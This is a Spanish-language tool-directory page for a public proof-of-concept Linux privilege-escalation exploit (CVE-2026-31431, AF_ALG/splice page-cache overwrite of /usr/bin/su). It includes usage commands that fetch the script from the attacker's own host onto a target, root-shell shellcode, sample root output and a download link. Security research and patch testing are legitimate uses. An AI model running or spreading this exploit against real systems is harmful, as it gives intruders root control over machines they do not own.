Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
copy-fail-CVE-2026-31431-shell — PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE en Linux mediante AF_ALG + sobrescritura de page-cache con splice. Disparo único, sin condición de carrera, kernel 4.9–6.18. | Kitploit
Herramientas/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónDesarrollo de PayloadsExplotación de Binarios
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE en Linux mediante AF_ALG + sobrescritura de page-cache con splice. Disparo único, sin condición de carrera, kernel 4.9–6.18.

Ver Repositorio
320hace 5 mesesAún no revisado

CVE-2026-31431 - shell copy_fail

Escalada local de privilegios mediante socket AF_ALG + sobrescritura de caché de páginas con splice().

Sobrescribe un binario SUID de solo lectura (/usr/bin/su) con un ELF mínimo que llama a setuid(0) + execve("/bin/sh"). Sin condición de carrera, sin offsets específicos por distribución, en un solo intento.

$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] El kernel 5.15 está dentro de la ventana vulnerable (4.9 – 6.18) — continuando
[*] Compilando...
[+] Compilación OK — ejecutando

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerabilidad

El socket AF_ALG (API de criptografía) del kernel de Linux, combinado con splice(), permite escribir en un archivo abierto con O_RDONLY manipulando la caché de páginas. El kernel omite la comprobación de permisos de escritura en el atajo de copy-on-write dentro de la ruta de splice del socket ALG — la misma clase de fallo que Dirty Pipe (CVE-2022-0847) pero desencadenada mediante una ruta de código diferente introducida en el kernel 4.9.


Versiones afectadas

Rango de kernelEstado
< 4.9No afectado (la ruta de código vulnerable no está presente)
4.9 – 6.18Vulnerable (~9 años, 2017–2026)
≥ 6.19Parcheado

Probado en

DistribuciónKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Requisitos

  • Shell local en el objetivo (cualquier nivel de privilegios)
  • gcc disponible en el objetivo
  • Acceso de escritura a /tmp
  • Arquitectura x86-64

Uso

# En el objetivo
wget http://<tu-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

El script hará lo siguiente:

  1. Comprobará si el kernel en ejecución está dentro del rango vulnerable
  2. Compilará el exploit C embebido en el objetivo (sin dependencia de zlib)
  3. Sobrescribirá /usr/bin/su con el payload de shell root
  4. Lo ejecutará

Cómo funciona

Socket AF_ALG (AEAD)
      │
      │  sendmsg() con datos ancillares manipulados (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (socket de operación)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

La ruta de splice del kernel dentro del socket ALG omite la comprobación de permisos de copy-on-write, escribiendo directamente en la caché de páginas del archivo objetivo a pesar de estar abierto en modo solo lectura. El payload (un ELF de 160 bytes) se escribe de 4 bytes en 4 bytes a lo largo de 40 iteraciones.

Shellcode del payload:

xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Archivos

ArchivoDescripción
copy_fail_exp.shScript Bash — compila y se ejecuta en el objetivo, no requiere Python
copy_fail_exp.pyVersión original en Python como referencia
copy_fail_exp_deobfuscated.pyVersión en Python desofuscada y comentada

Aviso legal

Solo para pruebas de seguridad autorizadas y entornos de laboratorio/CTF. No lo utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito para realizar pruebas.

Descargar herramienta